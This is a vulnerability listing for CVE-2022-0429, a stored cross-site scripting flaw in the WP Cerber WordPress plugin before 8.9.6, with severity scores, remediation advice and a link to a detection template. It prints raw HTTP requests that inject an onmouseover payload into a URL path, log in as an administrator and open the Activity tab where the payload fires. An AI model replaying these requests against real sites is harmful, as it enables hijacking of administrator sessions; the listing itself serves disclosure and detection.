| Title | WP Cerber Security, Anti-spam & Malware Scan < 8.9.6 - Cross-Site Scripting |
|---|---|
| Author | s4e-io |
| Severity | Medium |
| Impact | Unauthenticated attackers can inject stored XSS payloads via unsanitized URL parameters, which execute when authenticated administrators view the Activity tab, potentially stealing session cookies or performing administrative actions. |
| Remediation | Upgrade to WP Cerber Security version 8.9.6 or later. |
| CVSS Score | 6.1 |
| EPSS Score | 0.00888 |
| CVE ID | CVE-2022-0429 |
| CWE ID | CWE-79 |
| Tags | cve cve2022 wp wp-plugin wpscan wordpress xss wp-cerber authenticated vkev vuln |
The WP Cerber Security, Anti-spam & Malware Scan WordPress plugin before 8.9.6 does not sanitise the $url variable before using it in an attribute in the Activity tab in the plugins dashboard, leading to an unauthenticated stored Cross-Site Scripting vulnerability.
POST /"/onmouseover=alert(document.domain);// HTTP/1.1
Host: www.victim.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
a[b][c][d][e][f][g][h][i][j][k][l][m][n][o][p][q][r][s][t][u][v][w][x][y][z][1][2][3][4][5][6]=12345
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=w4NAbF&pwd=r1pJ36&wp-submit=Log+In
GET /wp-admin/admin.php?page=cerber-security&tab=activity HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/2008052906 Firefox/3.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0429.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0429.pcap
N/AN/A